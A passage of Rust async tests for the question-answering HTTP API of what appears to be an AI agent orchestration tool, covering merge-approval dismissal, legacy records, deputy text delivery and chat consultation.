11406 "Original evidence".into(),
11407 vec!["merge".into(), "hold".into()],
11408 );
11409 state.land_approval = Some(crate::run::LandApproval {
11410 question: q.id.clone(),
11411 head: "head".into(),
11412 });
11413 state.save_under(fx.home.path()).unwrap();
11414 let stale = state.clone();
11415 fx.questions().put(&mut q).unwrap();
11416 let mut task = Task::new(
11417 "Owner".into(),
11418 "Original instruction".into(),
11419 state.repo.clone(),
11420 Source::Human,
11421 );
11422 task.runs.push(state.id.clone());
11423 task.status = if owner == "completed" {
11424 TaskStatus::Done
11425 } else {
11426 TaskStatus::Parked
11427 };
11428 if owner == "later" {
11429 task.runs.push("later-run".into());
11430 }
11431 if owner != "missing" {
11432 fx.queue().put(&mut task).unwrap();
11433 }
11434 let ui = Arc::new(Ui::new(
11435 fx.queue(),
11436 fx.questions(),
11437 fx.talks(),
11438 fx.runs(),
11439 fx.home.path().into(),
11440 state.repo.clone(),
11441 ));
11442 let response = question_answer(
11443 State(ui),
11444 Path(q.id.clone()),
11445 Ok(Json(NewAnswer {
11446 choice: Some(crate::merge_decision::DISMISS.into()),
11447 text: None,
11448 })),
11449 )
11450 .await
11451 .unwrap();
11452 assert_eq!(
11453 response.0.question.resolution().as_deref(),
11454 Some(crate::merge_decision::DISMISS)
11455 );
11456 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11457 assert_eq!(disk.status, RunStatus::Superseded);
11458 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11459 assert!(!crate::merge_decision::resumable_hold(&disk));
11460 assert_eq!(
11461 serde_json::to_value(&disk.pr).unwrap(),
11462 serde_json::to_value(&stale.pr).unwrap()
11463 );
11464 assert_eq!(fx.questions().count_open(), 0);
11465 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11466 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11467 if owner == "missing" {
11468 assert!(fx.queue().list().is_empty());
11469 } else {
11470 let after = fx.queue().get(&task.id).unwrap();
11471 assert_eq!(
11472 after.status,
11473 if owner == "current" {
11474 TaskStatus::Done
11475 } else {
11476 task.status
11477 }
11478 );
11479 assert_eq!(after.runs, task.runs);
11480 assert_eq!(after.instruction, task.instruction);
11481 assert_eq!(after.action_applied(&q.id), owner == "current");
11482 }
11483 }
11484 }
11485
11486 #[tokio::test]
11487 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11488 let fx = Fixture::start().await;
11489 let mut state = obsolete_approval_state();
11490 state.status = RunStatus::Landing;
11491 state.parked = true;
11492 state.driver_exited = true;
11493 let mut q = Question::new(
11494 state.id.clone(),
11495 crate::land::APPROVAL_NODE.into(),
11496 "land".into(),
11497 "Superseded PR approval".into(),
11498 "Original review evidence".into(),
11499 vec!["merge".into(), "hold".into()],
11500 );
11501 state.land_approval = Some(crate::run::LandApproval {
11502 question: q.id.clone(),
11503 head: "old-reviewed-head".into(),
11504 });
11505 state.save_under(fx.home.path()).unwrap();
11508 let stale_driver = state.clone();
11509 fx.questions().put(&mut q).unwrap();
11510 let path = fx
11511 .home
11512 .path()
11513 .join("questions")
11514 .join(format!("{}.json", q.id));
11515 let mut legacy = serde_json::to_value(&q).unwrap();
11516 legacy["schema"] = 9.into();
11517 legacy.as_object_mut().unwrap().remove("merge_target");
11518 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11519
11520 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11523 let answer_path = format!("/api/questions/{}/answer", q.id);
11524 let res = fx.post(&answer_path, Some(&body)).await;
11525 assert_eq!(res.status, 200, "{}", res.body);
11526 let disk = fx.questions().get(&q.id).unwrap();
11527 assert_eq!(
11528 disk.resolution().as_deref(),
11529 Some(crate::merge_decision::DISMISS)
11530 );
11531 assert!(disk.detail.starts_with("Original review evidence"));
11532 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11533 assert_eq!(retired.status, RunStatus::Superseded);
11534 assert_eq!(
11535 serde_json::to_value(&retired.pr).unwrap(),
11536 serde_json::to_value(&state.pr).unwrap()
11537 );
11538 assert!(!retired.merge_decision.as_ref().unwrap().closed);
11539 assert!(!crate::merge_decision::resumable_hold(&retired));
11540 assert!(fx.queue().list().is_empty());
11541 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11542 let addr = Fixture::serve(
11544 fx.home.path(),
11545 PathBuf::from("/repo/magi"),
11546 launch_idle,
11547 None,
11548 )
11549 .await;
11550 let reconnected = Fixture {
11551 home: fx.home,
11552 addr,
11553 };
11554 let listed = reconnected.get("/api/questions").await.json();
11555 assert!(
11556 listed
11557 .as_array()
11558 .unwrap()
11559 .iter()
11560 .all(|q| q["status"] != "open")
11561 );
11562 assert_eq!(listed[0]["id"], q.id, "history remains available");
11563 assert_eq!(
11564 reconnected.get("/api/health").await.json()["questions_open"],
11565 0
11566 );
11567 assert_eq!(
11568 reconnected
11569 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11570 .await
11571 .status,
11572 409
11573 );
11574 assert!(
11576 reconnected
11577 .questions()
11578 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11579 .is_err()
11580 );
11581 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11584 }
11585
11586 #[tokio::test]
11587 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11588 let fx = Fixture::start().await;
11589 let mut state = obsolete_approval_state();
11590 state.status = RunStatus::Landing;
11591 state.driver_exited = true;
11592 let mut q = Question::new(
11593 state.id.clone(),
11594 crate::land::APPROVAL_NODE.into(),
11595 "land".into(),
11596 "Obsolete approval".into(),
11597 String::new(),
11598 vec!["merge".into(), "hold".into()],
11599 );
11600 state.land_approval = Some(crate::run::LandApproval {
11601 question: q.id.clone(),
11602 head: "head".into(),
11603 });
11604 state.save_under(fx.home.path()).unwrap();
11605 fx.questions().put(&mut q).unwrap();
11606 let mut task = Task::new(
11607 "Owner".into(),
11608 "Original instruction".into(),
11609 state.repo.clone(),
11610 Source::Human,
11611 );
11612 task.runs = vec![state.id.clone(), "later-run".into()];
11613 fx.queue().put(&mut task).unwrap();
11614 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11615 let claim = fx.queue().claim(&task.id).unwrap();
11616 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11617 let path = format!("/api/questions/{}/answer", q.id);
11618 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11619 assert!(fx.questions().get(&q.id).unwrap().status.open());
11620 drop(claim);
11621 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11622 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11623 assert!(fx.questions().get(&q.id).unwrap().status.open());
11624 drop(publication);
11625 state.driver_exited = false;
11627 state.driver_pid = None;
11628 state.save_under(fx.home.path()).unwrap();
11629 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11630 state.driver_exited = true;
11631 state.land_armed_head = Some("head".into());
11632 state.save_under(fx.home.path()).unwrap();
11633 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11634 state.land_armed_head = None;
11635 state.save_under(fx.home.path()).unwrap();
11636 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11637 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11638 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11639 }
11640
11641 #[tokio::test]
11642 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11643 let fx = Fixture::start().await;
11644 let mut state = obsolete_approval_state();
11645 state.status = RunStatus::Landing;
11646 state.driver_exited = true;
11647 let mut q = Question::new(
11648 state.id.clone(),
11649 crate::land::APPROVAL_NODE.into(),
11650 "land".into(),
11651 "Obsolete approval".into(),
11652 String::new(),
11653 vec!["merge".into(), "hold".into()],
11654 );
11655 state.land_approval = Some(crate::run::LandApproval {
11656 question: q.id.clone(),
11657 head: "head".into(),
11658 });
11659 state.save_under(fx.home.path()).unwrap();
11660 fx.questions().put(&mut q).unwrap();
11661 let mut task = Task::new(
11662 "Owner".into(),
11663 "Original instruction".into(),
11664 state.repo.clone(),
11665 Source::Human,
11666 );
11667 task.runs.push(state.id.clone());
11668 task.status = TaskStatus::Parked;
11669 fx.queue().put(&mut task).unwrap();
11670 state.merge_decision = Some(crate::merge_decision::Decision {
11673 question: q.id.clone(),
11674 target: crate::merge_decision::Target {
11675 pr: state.pr.as_ref().unwrap().url.clone(),
11676 head: "head".into(),
11677 language: "ja".into(),
11678 },
11679 choice: crate::merge_decision::DISMISS.into(),
11680 closed: false,
11681 replacement_run: None,
11682 replacement_pr: None,
11683 });
11684 state.status = RunStatus::Superseded;
11685 state.save_under(fx.home.path()).unwrap();
11686 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11687 let path = format!("/api/questions/{}/answer", q.id);
11688 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11689 let done = fx.queue().get(&task.id).unwrap();
11690 assert_eq!(done.status, TaskStatus::Done);
11691 assert_eq!(done.runs, task.runs);
11692 assert_eq!(done.instruction, task.instruction);
11693 assert!(done.action_applied(&q.id));
11694 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11695 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11696 assert!(!fx.questions().get(&q.id).unwrap().status.open());
11697 }
11698
11699 #[tokio::test]
11700 async fn merge_decision_api_persists_exact_target_and_selected_action() {
11701 let fx = Fixture {
11702 home: TempDir::new().unwrap(),
11703 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11704 };
11705 for choice in [
11706 crate::land::HOLD,
11707 crate::land::REPAIR,
11708 crate::land::APPROVE,
11709 crate::merge_decision::WITHDRAW,
11710 "reimplement:beta",
11711 ] {
11712 let mut q = Question::new(
11713 "old-run".into(),
11714 crate::land::APPROVAL_NODE.into(),
11715 "land".into(),
11716 "Decision".into(),
11717 "Review findings".into(),
11718 vec![
11719 "merge".into(),
11720 "hold".into(),
11721 crate::land::REPAIR.into(),
11722 crate::merge_decision::WITHDRAW.into(),
11723 "reimplement:beta".into(),
11724 ],
11725 );
11726 q.merge_target = Some(crate::merge_decision::Target {
11727 pr: "https://github.com/example/repo/pull/42".into(),
11728 head: "exact-reviewed-head".into(),
11729 language: "ja".into(),
11730 });
11731 q.consult = Some(ask::ChatConsult {
11732 talk: "another-conversation".into(),
11733 at: jiff::Timestamp::now(),
11734 });
11735 fx.questions().put(&mut q).unwrap();
11736 let ui = Arc::new(Ui::new(
11737 fx.queue(),
11738 fx.questions(),
11739 fx.talks(),
11740 fx.runs(),
11741 fx.home.path().into(),
11742 std::path::PathBuf::from("."),
11743 ));
11744 let response = question_answer(
11745 State(ui.clone()),
11746 Path(q.id.clone()),
11747 Ok(Json(NewAnswer {
11748 choice: Some(choice.into()),
11749 text: None,
11750 })),
11751 )
11752 .await
11753 .unwrap();
11754 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
11755 let disk = fx.questions().get(&q.id).unwrap();
11756 assert_eq!(disk.merge_target, q.merge_target);
11757 assert_eq!(disk.consult, q.consult);
11758 assert!(
11759 disk.answer_authority.is_none(),
11760 "a direct owner card is its own decision"
11761 );
11762 assert_eq!(disk.resolution().as_deref(), Some(choice));
11763 assert!(
11764 question_answer(
11765 State(ui),
11766 Path(q.id.clone()),
11767 Ok(Json(NewAnswer {
11768 choice: Some("merge".into()),
11769 text: None
11770 }))
11771 )
11772 .await
11773 .is_err(),
11774 "an already settled decision cannot turn into merge approval"
11775 );
11776 }
11777 }
11778
11779 #[tokio::test]
11780 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
11781 let fx = Fixture {
11782 home: TempDir::new().unwrap(),
11783 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11784 };
11785 let mut state = crate::land::tests::repair_state(true, true);
11786 state.status = RunStatus::Landing;
11787 state.parked = true;
11788 state.driver_exited = true;
11789 let mut task = Task::new(
11790 "Existing PR owner".into(),
11791 state.instruction.clone(),
11792 state.repo.clone(),
11793 Source::Human,
11794 );
11795 task.runs.push(state.id.clone());
11796 task.status = TaskStatus::Parked;
11797 fx.queue().put(&mut task).unwrap();
11798 let mut q = Question::new(
11799 state.id.clone(),
11800 crate::land::APPROVAL_NODE.into(),
11801 "land".into(),
11802 "Contested merge".into(),
11803 "Original evidence".into(),
11804 vec!["merge".into(), "hold".into()],
11805 );
11806 state.land_approval = Some(crate::run::LandApproval {
11807 question: q.id.clone(),
11808 head: "reviewed-head".into(),
11809 });
11810 state.save_under(fx.home.path()).unwrap();
11811 fx.questions().put(&mut q).unwrap();
11812 task.hold_manual(Some("Pause this PR".into()));
11814 fx.queue().put(&mut task).unwrap();
11815 let ui = Arc::new(Ui::new(
11818 fx.queue(),
11819 fx.questions(),
11820 fx.talks(),
11821 fx.runs(),
11822 fx.home.path().to_path_buf(),
11823 state.repo.clone(),
11824 ));
11825 let response = question_answer(
11826 State(ui),
11827 Path(q.id.clone()),
11828 Ok(Json(NewAnswer {
11829 choice: Some(crate::land::REPAIR.into()),
11830 text: None,
11831 })),
11832 )
11833 .await
11834 .unwrap();
11835 assert_eq!(response.0.question.id, q.id);
11836 let upgraded = fx.questions().get(&q.id).unwrap();
11837 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
11838 assert!(upgraded.detail.starts_with("Original evidence"));
11839 let claim = fx.queue().claim(&task.id).unwrap();
11840 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11841 assert!(
11842 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11843 "an existing driver keeps its claim"
11844 );
11845 drop(claim);
11846 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11847 let resumed = fx.queue().get(&task.id).unwrap();
11848 assert_eq!(
11849 resumed
11850 .resume_override
11851 .as_ref()
11852 .unwrap()
11853 .pinned_run
11854 .as_deref(),
11855 Some(state.id.as_str())
11856 );
11857 assert!(resumed.status.runnable());
11858 assert_eq!(resumed.instruction, task.instruction);
11859 assert_eq!(resumed.runs, task.runs);
11860 assert!(resumed.action_applied(&q.id));
11861 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11862 assert_eq!(fx.queue().list().len(), 1);
11863 assert_eq!(
11864 fx.queue().get(&task.id).unwrap().resume_override,
11865 resumed.resume_override
11866 );
11867 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11868 assert!(
11869 disk.merge_repairs.is_empty(),
11870 "only the claimed run driver may execute repair"
11871 );
11872 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11873 }
11874
11875 #[tokio::test]
11876 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11877 let fx = Fixture::start().await;
11878 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11879 let path = format!("/api/questions/{id}/answer");
11880
11881 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11882 assert_eq!(res.status, 200, "{}", res.body);
11883 let body = res.json();
11884 assert_eq!(body["status"], "answered");
11885 assert_eq!(body["answer"]["choice"], "Redis");
11886
11887 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11891 assert_eq!(again.status, 409, "{}", again.body);
11892 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11893 }
11894
11895 #[tokio::test]
11896 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11897 let home = tempfile::tempdir().unwrap();
11898 let ui = delta_test_ui(home.path());
11899 let mut q = Question::new(
11900 "task".into(),
11901 crate::land::APPROVAL_NODE.into(),
11902 "land".into(),
11903 "Explain?".into(),
11904 String::new(),
11905 vec!["hold".into()],
11906 );
11907 q.deputy = Some(ask::Deputy::new("context".into()));
11908 ui.questions.put(&mut q).unwrap();
11909 let mut cfg = stub_config();
11910 cfg.daemon.max_deputies = 0;
11911 let mut status = crate::daemon::Status::new();
11912 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11913 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11914 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11915 let error = question_say(
11916 State(ui.clone()),
11917 Path(q.id.clone()),
11918 Ok(Json(NewSay {
11919 body: "Explain the findings".into(),
11920 })),
11921 )
11922 .await
11923 .unwrap_err();
11924 assert_eq!(
11925 error.text_reason,
11926 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11927 );
11928 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11929
11930 let mut text = Question::new(
11931 "task".into(),
11932 "ask".into(),
11933 "operator".into(),
11934 "Which name?".into(),
11935 String::new(),
11936 vec![],
11937 );
11938 ui.questions.put(&mut text).unwrap();
11939 let Json(view) = question_answer(
11940 State(ui.clone()),
11941 Path(text.id.clone()),
11942 Ok(Json(NewAnswer {
11943 choice: None,
11944 text: Some("chosen name".into()),
11945 })),
11946 )
11947 .await
11948 .unwrap();
11949 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
11950 assert!(!ui.questions.get(&text.id).unwrap().status.open());
11951 }
11952
11953 #[tokio::test]
11954 async fn question_text_handler_admission_without_transport() {
11955 let home = tempfile::tempdir().unwrap();
11956 let ui = delta_test_ui(home.path());
11957 let mut q = Question::new(
11958 "task".into(),
11959 crate::land::APPROVAL_NODE.into(),
11960 "land".into(),
11961 "May this PR merge?".into(),
11962 String::new(),
11963 vec!["hold".into()],
11964 );
11965 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
11966 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11967 ui.questions.put(&mut q).unwrap();
11968 let say = || {
11969 Ok(Json(NewSay {
11970 body: "Explain the findings".into(),
11971 }))
11972 };
11973 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11974 .await
11975 .unwrap_err();
11976 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11977 let response = rejected.into_response();
11978 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
11979 .await
11980 .unwrap();
11981 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
11982 assert_eq!(body["code"], "question_text_unavailable");
11983 assert_eq!(body["reason"], "deputy_exhausted");
11984 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
11985 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
11986 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
11987 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
11988 .await
11989 .unwrap();
11990 assert_eq!(view.text_delivery.state, "live");
11991 assert!(view.question.waiter.is_none());
11992 assert!(view.question.cwd.is_none());
11993 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11994 ui.questions.drop_lease(&q.id);
11995 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11996 .await
11997 .unwrap_err();
11998 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11999 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12000 let _ = question_answer(
12001 State(ui.clone()),
12002 Path(q.id.clone()),
12003 Ok(Json(NewAnswer {
12004 choice: Some("hold".into()),
12005 text: None,
12006 })),
12007 )
12008 .await
12009 .unwrap();
12010 assert_eq!(
12011 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12012 Some("hold")
12013 );
12014 }
12015
12016 #[tokio::test]
12017 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12018 let fx = Fixture::start().await;
12019 let store = fx.questions();
12020 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12021 store
12022 .update(&id, |q| {
12023 q.node = crate::land::APPROVAL_NODE.to_owned();
12024 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12025 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12026 Ok(())
12027 })
12028 .unwrap();
12029 let path = format!("/api/questions/{id}/say");
12030 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12031 assert_eq!(refused.status, 422, "{}", refused.body);
12032 assert!(
12033 refused.json()["error"]
12034 .as_str()
12035 .unwrap()
12036 .contains("deputy_exhausted")
12037 );
12038 assert!(store.get(&id).unwrap().thread.is_empty());
12039
12040 store.beat(&id, ask::WaiterKind::Deputy);
12042 let view = fx.get("/api/questions").await.json();
12043 assert_eq!(view[0]["text_delivery"]["state"], "live");
12044 let accepted = fx
12045 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12046 .await;
12047 assert_eq!(accepted.status, 200, "{}", accepted.body);
12048 let before = std::fs::read(store.path_of(&id)).unwrap();
12049
12050 store.drop_lease(&id);
12053 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12054 assert_eq!(refused.status, 422, "{}", refused.body);
12055 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12056 let held = fx
12057 .post(
12058 &format!("/api/questions/{id}/answer"),
12059 Some(r#"{"choice":"hold"}"#),
12060 )
12061 .await;
12062 assert_eq!(held.status, 200, "{}", held.body);
12063 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12064 }
12065
12066 #[tokio::test]
12067 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12068 let repo = tempfile::tempdir().unwrap();
12069 let mut cfg = stub_config();
12070 cfg.daemon.max_deputies = 0;
12071 std::fs::write(
12072 repo.path().join("magi.toml"),
12073 toml::to_string(&cfg).unwrap(),
12074 )
12075 .unwrap();
12076 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12077 let mut status = crate::daemon::Status::new();
12078 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12079 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12080 let id = ask(&fx, "Explain?", &["hold"]);
12081 fx.questions()
12082 .update(&id, |q| {
12083 q.node = crate::land::APPROVAL_NODE.into();
12084 q.deputy = Some(ask::Deputy::new("context".into()));
12085 q.deputy.as_mut().unwrap().agent = "stub".into();
12086 Ok(())
12087 })
12088 .unwrap();
12089 cfg.daemon.max_deputies = 1;
12090 std::fs::write(
12091 repo.path().join("magi.toml"),
12092 toml::to_string(&cfg).unwrap(),
12093 )
12094 .unwrap();
12095 let view = fx.get("/api/questions").await.json();
12096 assert_eq!(view[0]["deputies_enabled"], true);
12097 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12098 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12099 let res = fx
12100 .post(
12101 &format!("/api/questions/{id}/say"),
12102 Some(r#"{"body":"Please explain"}"#),
12103 )
12104 .await;
12105 assert_eq!(res.status, 422, "{}", res.body);
12106 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12107 }
12108
12109 #[tokio::test]
12110 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12111 let fx = Fixture::start().await;
12112 let id = ask(&fx, "No seat", &[]);
12113 let store = fx.questions();
12114 let before = std::fs::read(store.path_of(&id)).unwrap();
12115 let res = fx
12116 .post(
12117 &format!("/api/questions/{id}/say"),
12118 Some(r#"{"body":"hello"}"#),
12119 )
12120 .await;
12121 assert_eq!(res.status, 422, "{}", res.body);
12122 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12123 let res = fx
12124 .post(
12125 &format!("/api/questions/{id}/answer"),
12126 Some(r#"{"text":"hello"}"#),
12127 )
12128 .await;
12129 assert_eq!(res.status, 200, "{}", res.body);
12130 assert_eq!(
12131 store.get(&id).unwrap().resolution().as_deref(),
12132 Some("hello")
12133 );
12134 }
12135
12136 #[tokio::test]
12137 async fn saying_something_appends_a_turn_without_answering() {
12138 let fx = Fixture::start().await;
12139 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12140 fx.questions().beat(&id, ask::WaiterKind::Asker);
12141 let path = format!("/api/questions/{id}/say");
12142
12143 let res = fx
12144 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12145 .await;
12146 assert_eq!(res.status, 200, "{}", res.body);
12147 let body = res.json();
12148 assert_eq!(body["status"], "open", "talking back is not a decision");
12149 assert_eq!(body["answer"], Value::Null);
12150 assert_eq!(body["thread"][0]["who"], "operator");
12151 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12152 assert_eq!(body["waiting_on_agent"], true);
12153 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12155 }
12156
12157 #[tokio::test]
12158 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12159 let fx = Fixture::start().await;
12160 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12161
12162 let list = fx.get("/api/questions").await.json();
12163 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12164
12165 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12166 assert_eq!(res.status, 409, "{}", res.body);
12167 let q = fx.questions().get(&id).unwrap();
12168 assert!(q.status.open());
12169 assert!(q.consult.is_none());
12170 }
12171
12172 #[tokio::test]
12173 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12174 let fx = Fixture::start().await;
12175 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12176 let cfg = Config {
12177 agents: vec![crate::config::AgentSpec {
12178 id: "mock".to_owned(),
12179 kind: crate::config::AgentKind::Command,
12180 model: None,
12181 command: vec!["true".to_owned()],
12182 extra_args: Vec::new(),
12183 env: Default::default(),
12184 prompt_delivery: None,
12185 }],
12186 ..Config::default()
12187 };
12188 let talk = crate::talk::begin(
12189 &fx.talks(),
12190 &cfg,
12191 fx.home.path().to_path_buf(),
12192 Some("mock"),
12193 )
12194 .unwrap();
12195 let mut task = Task::new(
12196 "t".to_owned(),
12197 "Do it".to_owned(),
12198 PathBuf::from("/repo/magi"),
12199 Source::Agent {
12200 run: talk.id.clone(),
12201 node: crate::queue::CHAT_NODE.to_owned(),
12202 },
12203 );
12204 task.start("20260902-000000-beef".to_owned());
12205 fx.queue().put(&mut task).unwrap();
12206
12207 let list = fx.get("/api/questions").await.json();
12208 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12209 assert_eq!(
12210 list[0]["choices"],
12211 serde_json::json!(["SQLite", "Redis"]),
12212 "the hand-over is never a choice"
12213 );
12214 fx.questions()
12215 .update(&id, |q| {
12216 q.node = crate::land::APPROVAL_NODE.into();
12217 q.choices = vec!["merge".into(), "hold".into()];
12218 Ok(())
12219 })
12220 .unwrap();
12221 let list = fx.get("/api/questions").await.json();
12222 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12223 assert_eq!(list[0]["can_consult_chat"], true);
12224 fx.questions()
12225 .update(&id, |q| {
12226 q.node = crate::bump::NOTICE_NODE.into();
12227 Ok(())
12228 })
12229 .unwrap();
12230 let list = fx.get("/api/questions").await.json();
12231 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12232 assert_eq!(list[0]["can_consult_chat"], false);
12233 }
12234
12235 #[tokio::test]
12236 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12237 let fx = Fixture::start().await;
12238 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12239 fx.questions()
12240 .update(&id, |q| {
12241 q.node = crate::land::APPROVAL_NODE.into();
12242 q.choices = vec!["merge".into(), "hold".into()];
12243 Ok(())
12244 })
12245 .unwrap();
12246 let cfg = Config {
12247 agents: vec![crate::config::AgentSpec {
12248 id: "mock".to_owned(),
12249 kind: crate::config::AgentKind::Command,
12250 model: None,
12251 command: vec!["true".to_owned()],
12252 extra_args: Vec::new(),
12253 env: Default::default(),
12254 prompt_delivery: None,
12255 }],
12256 ..Config::default()
12257 };
12258 let repo = fx.home.path().join("chat-repo");
12260 std::fs::create_dir_all(&repo).unwrap();
12261 let toml = repo.join("magi.toml");
12262 std::fs::write(&toml, "this is = = not toml").unwrap();
12263 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12264 let mut task = Task::new(
12265 "t".to_owned(),
12266 "Do it".to_owned(),
12267 PathBuf::from("/repo/magi"),
12268 Source::Agent {
12269 run: talk.id.clone(),
12270 node: crate::queue::CHAT_NODE.to_owned(),
12271 },
12272 );
12273 task.start("20260902-000000-beef".to_owned());
12274 fx.queue().put(&mut task).unwrap();
12275
12276 let path = format!("/api/questions/{id}/consult");
12277 let res = fx.post(&path, None).await;
12278 assert!(res.status >= 400, "{}", res.body);
12279 assert!(fx.questions().get(&id).unwrap().consult.is_none());
12280 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12281
12282 std::fs::write(&toml, "").unwrap();
12283 let res = fx.post(&path, None).await;
12284 assert_eq!(res.status, 202, "{}", res.body);
12285 assert!(fx.questions().get(&id).unwrap().consult.is_some());
12286 let q = fx.questions().get(&id).unwrap();
12287 assert!(q.status.open());
12288 assert!(q.answer.is_none());
12289 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12290 assert_eq!(res.json()["can_consult_chat"], true);
12291 let list = fx.get("/api/questions").await.json();
12292 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12293 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12294
12295 let res = fx
12296 .post(
12297 &format!("/api/questions/{id}/answer"),
12298 Some(r#"{"choice":"hold"}"#),
12299 )
12300 .await;
12301 assert_eq!(res.status, 200, "{}", res.body);
12302 assert_eq!(res.json()["answer"]["choice"], "hold");
12303 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
